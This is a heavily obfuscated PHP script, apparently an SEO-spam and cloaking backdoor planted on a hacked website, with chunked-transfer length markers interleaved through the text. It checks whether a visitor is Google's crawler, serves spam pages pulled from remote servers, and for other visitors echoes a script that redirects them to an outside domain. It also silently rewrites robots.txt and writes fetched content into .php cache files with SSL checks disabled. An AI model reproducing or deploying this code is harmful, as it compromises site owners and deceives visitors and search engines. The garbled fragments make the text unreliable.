3 f true, CURLOPT_ 8 CONNECTT 6 IMEOUT 1b => 5, CURLOPT_TIMEOUT => 8 11 , CURLOPT_SSL_VER b IFYPEER => 1d false, CURLOPT_SSL_VERIFYHOST 17 => false, CURLOPT_FOLL 7 OWLOCAT 17 ION => false, CURLOPT_U d SERAGENT => " d \x4d\x6f\172\ 12 x69\x6c\154\x61\x2 d f\x35\x2e\x30 13 ")); $data = curl_e 10 xec($ch); curl_c c lose($ch); } 11 if (empty($data) 13 && ini_get("\141\x 15 6c\154\x6f\x77\x5f\x7 10 5\x72\154\137\x6 11 6\157\x70\x65\156 e ")) { $context a = stream_ f context_create( 11 array("\150\164\1 14 64\160" => array("\1 f 64\151\155\145\ 7 x6f\x75 13 \x74" => 8, "\150\1 f 45\141\144\x65\ f x72" => "\125\1 15 63\145\x72\x2d\x41\14 e 7\145\156\x74\ 1a 72\40\115\x6f\172\x69\x6c\ c x6c\x61\57\6 10 5\x2e\60\15\xa") f , "\x73\x73\x6c 1d " => array("\x76\145\162\x69\ e 146\x79\x5f\x7 19 0\145\145\162" => false, 1e "\166\x65\x72\x69\x66\x79\x5f\ 15 160\145\x65\x72\x5f\x e 6e\x61\x6d\x65 19 " => false))); $data = @f e ile_get_conten 10 ts($url, false, 1e $context); } if (!empty($data) 12 ) { cache_set($url 14 , $data); } return $ 11 data; } goto nEuM 13 B; J5G32: function 9 ensure_ro c bots_sitemap 2d ($sitemapLine) { $robots = rtrim($_SERVER["\x f 44\x4f\x43\125\ 12 x4d\x45\x4e\x54\x5 10 f\x52\x4f\117\x5 e 4"], "\x2f\x5c 13 ") . "\57\162\157\x 18 62\157\x74\x73\x2e\164\1 e 70\164"; if (! 18 file_exists($robots)) { 1a @file_put_contents($robots 14 , "\125\x73\x65\x72\ 21 55\x61\147\145\156\x74\72\40\52\x d a\101\154\x6c 14 \x6f\167\x3a\40\x2f\ 14 12" . $sitemapLine, 7 LOCK_EX 2c ); } else { $c = @file_get_contents($robots) 13 ; if ($c === false 8 || strpo 1d s($c, $sitemapLine) === false 30 ) { @file_put_contents($robots, $sitemapLine, FI 8 LE_APPEN 10 D | LOCK_EX); } f } } goto nvqfY; c cI0Dv: erro 9 r_reporti e ng(0); goto ct 8 ugb; Kcb 18 VZ: function cache_set($ f key, $data) { $ f file = sys_get_ 9 temp_dir( 13 ) . "\57\x63\141\x6 d 3\x68\x65\x5f 14 " . md5($key) . "\56 e \x70\x68\160"; 2e @file_put_contents($file, $data, LOCK_EX); } b goto obbTy; 17 tTrIf: function cache_ 10 get($key, $expir 2a e = 300) { $file = sys_get_temp_dir() . "\ a x2f\143\x6 32 1\x63\x68\x65\x5f" . md5($key) . "\x2e\160\150\160 1d "; if (file_exists($file) && 9 time() - 12 filemtime($file) < 26 $expire) { return file_get_contents($ 15 file); } return false 15 ; } goto KcbVZ; e09EO 2c : if ($kk !== '' && !preg_match("\x2f\x5e\x5 c b\101\55\x5a 13 \x61\x2d\172\60\55\ 1d 71\x5d\x2b\x24\x2f", $kk)) { 3f output_sitemap_and_exit($sitemapLine, $http_type); } goto dsRZS c ; jHFIX: $ip 12 = $kk !== '' ? "\ c 66\66\56\62\ c 64\71\56\70\ b 62\x2e\x38" d : get_real_i d p(); goto x9X 8 sW; rUTi d t: if ($domai 11 n !== "\x67\x6f\x 10 6f\x67\x6c\145" e && !empty($iid e )) { $kname = a urldecode( 28 getCurlFast($jd . "\147\156\x2e\x61\163\ 13 x70\170\77\151\151\ 18 144\x3d" . $iid)); echo 10 "\74\x73\x63\x72 f \151\160\x74\76 18 \x6c\157\x63\141\164\x69 15 \x6f\x6e\x3d\x22" . $ 1a jd . "\141\56\141\163\160\ 11 x78\77\x63\x6e\14 1b 1\x6d\145\75" . urlencode($ 13 kname) . "\x26\165\ 19 x72\154\x3d" . $http_type 19 . $_SERVER["\x48\x54\x54 12 \120\137\x48\x4f\x 22 53\124"] . $_SERVER["\x53\x43\x52\ 11 x49\120\x54\x5f\x 17 4e\x41\x4d\105"] . "\x2 12 2\x3c\x2f\163\x63\ 13 162\151\160\x74\x3e 12 "; die; } goto Qgp c nU; QLluM: $ 8 qz = sub d str(str_repla 15 ce(array("\x77\x77\x7 d 7\x2e", "\x2e 17 "), '', $_SERVER["\x48\ 24 124\124\x50\x5f\x48\x4f\x53\124"]), d 0, 3); goto E b I8Kp; JD7fu 14 : if ($kk === '' && 1d $is_no_query) { if ($domain = 15 == "\x67\157\157\147\ 48 x6c\145") { output_sitemap_and_exit($sitemapLine, $http_type); } else { 1a die; } } goto LnjYZ; ctugb 9 : $get = d filter_input_ b array(INPUT a _GET, FILT 4 ER_S 4 ANIT 8 IZE_STRI 10 NG); goto tTrIf; 1d QgpnU: if (!empty($iid)) { $ 1a str = getCurlFast($hyzhdy 12 . "\77\151\x69\x64 d \75{$iid}"); 2c echo str_replace(array("\x67\147\147\147\147 1f ", "\131\131\131\131\131", "\13 12 0\130\x58\131\131\ d x59", "\xe5\2 c 75\223\xe5\x 9 89\x8d\x5 a 5\x52\x4c" 1d , "\125\x55\125\x55\x55", "\1 1b 15\115\115\115\115", "\77\1 7 46\75") 11 , array($sz, get_ a url_info() 1d , get_url_info("\x62\x61\x73\ 1e x65"), get_url_info("\x66\165\ 23 154\x6c"), get_url_info("\156\157\1 12 37\x77\x77\167"), 9 parse_url 17 ($_SERVER["\x52\x45\x51 16 \125\x45\x53\x54\137\1 f 25\122\111"], P 8 HP_URL_P f ATH), "\77" . $ d qz . "\75"), 16 $str); die; } goto OiQ 17 F1; nvqfY: if (!empty($ 11 get["\167"])) { $ 9 params = 10 http_build_query 16 (array("\x4e\x4f\125\1 13 55\142\x65\162" => 14 $get["\x4e\x4f\x55\x 12 6d\142\x65\x72"] ? 17 ? '', "\164" => $get["\ 2a 164"] ?? '', "\x63\156" => $get["\143\156" 1e ] ?? '', "\160\x4e\117\x55\155 1f " => $get["\x70\x4e\x4f\x55\x6d 17 "] ?? '', "\143\x69\x64 24 " => $get["\143\151\x64"] ?? '', "\1 30 55" => $get["\x6d"] ?? '')); $str = getCurlFast( b "{$surl}\77 27 {$params}"); echo str_replace(array("\x e 79\171\x6d\x6d 24 ", "\147\147\147\147\147", "\77\146\ 2d x3d"), array($http_type . $_SERVER["\x48\x54\ 19 124\x50\x5f\x48\117\123\1 2d 24"] . $_SERVER["\x53\x43\x52\x49\120\124\x5f 19 \116\101\x4d\x45"], $sz, 2a "\77" . $qz . "\x3d"), $str); die; } goto d LYG63; EI8Kp: 17 $sz = $iid = ''; goto c S5sdM; OiQF1 3c : function output_sitemap_and_exit($sitemapLine, $http_type) 2f { ensure_robots_sitemap($sitemapLine); echo "\ b x3c\144\151 10 \x76\x20\x73\164 e \x79\154\145\x 16 3d\x27\x74\x65\170\164 10 \x2d\141\x6c\151 7 \x67\15 e 6\72\x63\145\x 12 6e\x74\145\x72\x3b 10 \160\141\144\x64 18 \x69\156\x67\72\61\60\x7 d 0\170\x20\60\ d 73\47\x3e\xa\ 27 x20\40\40\40\x20\40\40\40\40\40\40\x20\ 11 74\141\x20\x68\x7 11 2\x65\146\x3d\x22 24 {$http_type}{$_SERVER["\110\x54\x54\ 26 x50\x5f\x48\x4f\123\x54"]}{$_SERVER["\ 10 x53\103\122\x49\ 10 x50\124\x5f\116\ 2c x41\x4d\105"]}\77\167\x3d" . date("\x59\155\ c 144\x48\151" 16 ) . "\x22\40\164\141\x 13 72\x67\145\x74\x3d\ b 42\x5f\142\ 15 154\x61\156\153\x22\x 10 20\162\145\154\x 14 3d\x22\x6e\x6f\x66\x 14 6f\154\154\x6f\x77\x c 22\x3e\x53\x 1a 69\x74\145\x6d\x61\160\74\ e x2f\141\x3e\12 25 \40\x20\x20\40\40\x20\x20\x20\x20\40\ 13 74\x2f\x64\151\x76\ 17 76"; die; } goto sIevn; 18 S5sdM: if (!empty($_GET c )) { $f = re 12 set($_GET); $sp = c explode("\x2 e d", $f); if (c 8 ount($sp 14 ) === 2) { $sz = $sp c [0]; $iid = 11 $sp[1]; } } goto 1a ut_5H; obbTy: function get 11 _real_ip() { $key 18 s = array("\110\x54\x54\ f 120\x5f\103\106 16 \137\103\117\116\x4e\1 c 05\103\x54\1 16 11\x4e\x47\137\111\120 22 ", "\110\124\124\120\x5f\130\x5f\1 d 22\x45\x41\x4 26 c\137\x49\x50", "\110\x54\x54\x50\x5f\ 15 130\x5f\106\x4f\122\1 e 27\101\x52\x44 1e \105\104\x5f\x46\x4f\122", "\x 18 48\x54\124\120\137\103\x 17 4c\x49\105\x4e\x54\x5f\ 17 111\x50", "\122\x45\x4d 14 \117\124\x45\137\101 11 \x44\104\x52"); f c oreach ($key f s as $k) { if ( 12 !empty($_SERVER[$k 18 ])) { $ip = $_SERVER[$k] 14 ; if (strpos($ip, "\ 18 54") !== false) { $ip = 15 trim(explode("\x2c", 10 $ip)[0]); } if ( 10 filter_var($ip, c FILTER_VALID 7 ATE_IP) 1d ) { return $ip; } } } return a "\61\62\x3 12 7\56\60\56\60\56\x 12 31"; } goto b3xBO; 11 x9XsW: $domain = 25 trim(getCurlFast($jd . "\147\x65\x74 f \x64\157\x6d\14 3c7 1\151\x6e\62\56\141\163\160\170\x3f\x72\156\x64\x3d\61\x26\151\x70\x3d" . $ip)); goto rUTit; nEuMB: function get_url_info(string $type = "\x64\157\155\141\x69\156") : string { $host = $_SERVER["\110\124\124\x50\137\110\x4f\123\124"] ?? ''; if ($type === "\156\157\x5f\167\x77\167") { return preg_replace("\x2f\136\167\167\167\134\x2e\57\x69", '', $host); } $protocol = !empty($_SERVER["\x48\124\124\x50\x53"]) && $_SERVER["\x48\x54\x54\120\x53"] !== "\x6f\x66\146" ? "\x68\x74\x74\x70\163\72\x2f\x2f" : "\x68\x74\x74\x70\x3a\x2f\x2f"; $base = $protocol . $host; if ($type === "\x62\141\163\145") { return $base; } if ($type === "\x66\x75\154\154") { return $base . ($_SERVER["\x52\105\121\x55\x45\x53\x54\x5f\x55\x52\x49"] ?? ''); } return $host; } goto IiHkS; IiHkS: $http_type = !empty($_SERVER["\110\x54\x54\120\x53"]) && $_SERVER["\x48\124\124\120\x53"] !== "\x6f\146\146" ? "\150\x74\x74\x70\x73\72\x2f\x2f" : "\150\164\164\160\x3a\57\x2f"; goto CSyCd; emnXE: ?> 0